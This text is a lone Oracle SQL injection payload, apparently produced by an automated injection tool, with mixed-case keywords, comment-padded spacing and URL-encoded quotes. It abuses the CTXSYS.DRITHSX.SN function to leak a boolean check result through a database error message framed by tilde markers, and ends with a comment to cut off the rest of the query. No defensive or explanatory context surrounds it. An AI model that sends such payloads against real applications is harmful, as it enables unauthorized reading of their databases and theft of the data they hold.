1aND/**/3910=CTXsys.DriTHSx.sn(8118,chR(126)||%27~%27||(seLecT/**/(Case/**/WHEN/**/(3910=3910)/**/then/**/1/**/elSE/**/0/**/eNd)/**/frOM/**/duaL)||%27~%27||chr(126))-- -